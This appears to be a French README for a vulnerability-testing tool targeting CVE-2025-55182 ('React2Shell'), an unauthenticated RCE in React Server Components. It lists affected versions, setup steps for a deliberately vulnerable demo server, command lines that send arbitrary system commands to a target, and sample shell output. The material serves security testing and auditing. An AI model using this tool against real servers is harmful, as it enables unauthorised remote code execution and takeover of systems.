
Programme de test RCE React CVE-2025-55182
CVE-2025-55182 Programme de test RCE React
Ce script est un outil de validation de vulnérabilité ciblant CVE-2025-55182, une grave vulnérabilité d'exécution de code à distance (RCE) présente dans React Server Components (RSC) de React 19.x.
Cet outil détermine si la vulnérabilité existe sur un serveur réel et, selon les options, permet de tester l'exécution de commandes, de journaliser ou d'utiliser la méthode RCE en deux étapes (module#_load).
⚠️ Cet outil doit être utilisé uniquement dans un environnement de test fermé, à des fins d'audit de sécurité et de validation de vulnérabilité.
| Élément | Contenu |
|---|
| Numéro de vulnérabilité | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| Nom de la vulnérabilité | React2Shell |
| Type de vulnérabilité | Exécution de code à distance (RCE) – Aucune authentification requise |
| Sévérité (CVSS) | 10.0 (Critique) |
| Date de découverte | 2025-11-29 (Lachlan Davidson) |
| Difficulté d'attaque | Très faible (niveau Log4Shell) |
| Description de la vulnérabilité | Vulnérabilité RCE structurelle due à l'accès possible à la chaîne de prototypes (constructor, __proto__) via la notation entre crochets de la fonction requireModule() lors du traitement de désérialisation Flight |
| Produit/outil | Versions vulnérables | Versions corrigées |
|---|---|---|
| React.js | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-webpack | Idem (↑) | Idem |
| react-server-dom-parcel | Idem (↑) | Idem |
| react-server-dom-turbopack | Idem (↑) | Idem |
| Next.js 14 | Certaines versions à partir de 14.3.0.canary.77 | (Non officiellement) Recommandation de passer à 15.0.5+ |
| Next.js 15 | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| Next.js 16 | 16.0.0 ~ 16.0.6 | 16.0.7 |
| Autres outils | React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin, etc. | Correction nécessaire des dépendances RSC de ces projets |
✅ Les projets intégrant des fonctionnalités RSC doivent également mettre à niveau les modules
react-server-dom-*vers leurs dernières versions, indépendamment de React, pour être sécurisés.
CVE-2025-55182/
├── README.md # Aperçu général et utilisation du scanner
├── DETECTION_RULES.md # Règles de détection/blocage
├── 설명 및 탐지규칙.md # Explication des règles de détection en coréen
├── cve_2025_55182_interactive.py # Script scanner de validation RCE
├── requirements.txt # Liste des dépendances du scanner
├── setup_vulnerable_env.sh # Script d'installation de l'environnement vulnérable
├── uninstall_vulnerable_env.sh # Script de nettoyage/suppression de l'environnement vulnérable
└── vulnerable-react-env/ # Code de l'environnement de démonstration du serveur React2Shell vulnérable
├── README.md # Utilisation de l'environnement de démonstration
├── package.json # Scripts npm et dépendances
├── server.js # Backend Express vulnérable
├── public/
│ └── index.html # Frontend React basé sur CDN
└── .gitignore
✅ Test interactif de la possibilité de RCE sur un serveur vulnérable
✅ Prise en charge des méthodes child_process#execSync (par défaut) et module#_load
✅ Enregistrement des résultats d'exécution des commandes dans un fichier journal
✅ Envoi de commandes système saisies par l'utilisateur au serveur
git clone <ce-repo>
cd <ce-repo>
pip install -r requirements.txt
Test RCE de base (méthode execSync)
child_process.execSync()python cve_2025_55182_interactive.py http://localhost:3000 --rceTest RCE en deux étapes (méthode module#_load)
module#_loadpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoadTest RCE basé sur RSC (option --rce2)
python cve_2025_55182_interactive.py http://localhost:3000 --rce2Enregistrement des résultats de commande dans un journal
python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.logUtilisation complète des fonctionnalités (méthode + journal)
moduleLoad et de l'enregistrement dans un journalpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.logAffichage de débogage de la charge utile
python cve_2025_55182_interactive.py http://localhost:3000 --rce --debugLe dossier vulnerable-react-env contient un serveur React + Express intentionnellement vulnérable permettant de reproduire CVE-2025-55182.
./setup_vulnerable_env.sh pour effectuer installation des paquets apt → installation de nvm/Node.js 20 → npm install en une seule fois.cd vulnerable-react-env && npm start ou npm run dev.npm run, la liste des scripts s'affiche. Vous devez spécifier le nom du script, comme npm start (ou npm run start)../uninstall_vulnerable_env.sh pour supprimer node_modules, la charge utile moduleLoad, et (optionnellement) Node 20 et nvm.ERR_MODULE_NOT_FOUND: Cannot find package 'express', etc.), exécutez cd vulnerable-react-env && npm install pour installer node_modules, puis relancez npm start.sudo apt update && sudo apt install -y curl build-essentialcurl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.shnvm install 20 && nvm use 20cd vulnerable-react-env && npm installnpm start (port par défaut : 3000)http://localhost:3000 dans un navigateur, puis envoyez _payload et cmd via le formulairevulnerable-react-env/README.md⚠️ Interdit en dehors de la recherche/formation. Ne pas exposer sur Internet.
💬 Commande système à saisir : whoami
✅ Code de réponse : 200
📄 Contenu de la réponse : {"success":true,"result":"www-data"}
💬 Commande système à saisir : id
✅ Code de réponse : 200
📄 Contenu de la réponse : {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}
💬 Commande système à saisir : exit
👋 Fermeture.
❌ Ne jamais utiliser dans un environnement de production.
✅ Ce script doit être utilisé uniquement dans un environnement de test local ou une VM isolée.
🛠️ La méthode --method moduleLoad crée réellement le fichier /tmp/evil.js.
🧾 L'option --log enregistre les résultats en texte clair ; limitez l'accès au fichier.
🔐 Toutes les requêtes vérifient l'exécution réelle de code JavaScript sur le serveur vulnérable.
CVE officielle : CVE-2025-55182
Méthodes d'exploitation :
Flux d'attaque :
Ce projet est fourni uniquement à des fins de recherche en sécurité, d'audit et de test.
Toute utilisation non autorisée sur des systèmes réels est illégale.
L'utilisateur est seul responsable de toute responsabilité légale découlant de l'utilisation de cet outil.